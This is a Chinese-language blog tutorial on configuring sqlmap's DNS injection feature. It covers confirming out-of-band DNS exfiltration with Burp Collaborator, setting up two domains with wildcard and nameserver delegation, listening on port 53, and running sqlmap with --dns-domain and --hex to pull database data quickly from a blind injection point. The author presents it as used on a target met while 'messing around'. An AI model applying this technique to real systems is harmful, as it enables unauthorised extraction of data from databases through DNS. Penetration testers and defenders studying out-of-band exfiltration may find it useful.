网络安全之SQLMAP _DNS注入配置方法

网上针对sqlmap进行dns注入的相关文章太少,只是简单介绍了下--dns-domain参数,相关的实战文章要么就模糊或者一笔带过,。然后参考网上的方法重新整理了一遍,简单理解。

需要准备的东西,sqlmap、windows盲注一个、两个域名、一台外网服务器。

某次搞事情的时候碰到一个时间盲注,碰巧是台windows的,想起dns注入的方法。

在开始前我准备先用sqlmap的--sql-shell 命令进行dns注入payload的测试
先到burpsuite中的collaborator client中复制出burp给我们安排的域名

在利用sqlmap执行sql语句
Sqlmap还在跑的过程中burpsuite中已经接收到请求了。


352E362E3134.9hreqpopru1xgf9skq473yo14sajy8.burpcollaborator.net.

中的352E362E3134就是执行version()后返回的结果。

解码获取到mysql的版本。好了至此这个点进行dns注入是没毛病的。

准备配置域名2个,网上有些文章说一个也行,但是总感觉较为麻烦,很多域名服务器商也并未提供某些高级功能,所以还是准备两个的简单些。

复制代码
www.a.com
www.b.com

首先我们来配置域名a-> a.com

只需要添加*进行泛解析指向我们的外网服务器的ip就可以了。

在来配置我们的域名b->b.com

这个就更简单了,直接修改域名的dns,就填入ns1.a.com ns2.a.com 就行了其他的都不用搞,照着填写就行了。

然后等待域名生效。我们在到外网服务器上来测试下看是否解析成功

服务器上开始监听53端口

然后本机ping hello.b.com 在外网服务器上发我们已经能接受到hello.b.com的请求,并且本机提示是找不到主机不用管,因为我们没有设置解析。已经都配置完毕我们使用sqlmap进行dns注入即可。

Sqlmap中加入参数--dns-domain=b.com --hex即可

来到这一步sqlmap会卡住提示设置DNS服务器实例

直接ctrl+c

提示通过DNS通道的数据检索成功。

注入的速度就跟报错和联合一样快了,再也不用忍受龟速了。

相关推荐
Hello.Reader18 分钟前
一文吃透 Protobuf “Editions” 模式从概念、语法到迁移与实战
linux·服务器·网络·protobuf·editions
長琹1 小时前
AES加密算法详细加密步骤代码实现--身份证号码加解密系统
网络·数据库·人工智能·python·密码学
czijin2 小时前
【论文阅读】Security of Language Models for Code: A Systematic Literature Review
论文阅读·人工智能·安全·语言模型·软件工程
2501_915921433 小时前
iOS混淆工具实战 在线教育直播类 App 的课程与互动安全防护
android·安全·ios·小程序·uni-app·iphone·webview
TechubNews3 小时前
Webus 与中国国际航空合作实现 XRP 支付
大数据·网络·人工智能·web3·区块链
monster_风铃3 小时前
小补充: IPv6 安全RA
网络·安全·智能路由器
黄焖鸡能干四碗3 小时前
信息系统安全保护措施文件方案
大数据·开发语言·人工智能·web安全·制造
运维开发王义杰4 小时前
信息安全:代码质量双雄对决,SonarQube 与 Codacy,传统巨擘与云原生新贵的深度剖析
安全·云原生
计算机毕设定制辅导-无忧学长4 小时前
MQTT 与 Java 框架集成:Spring Boot 实战(一)
java·网络·spring boot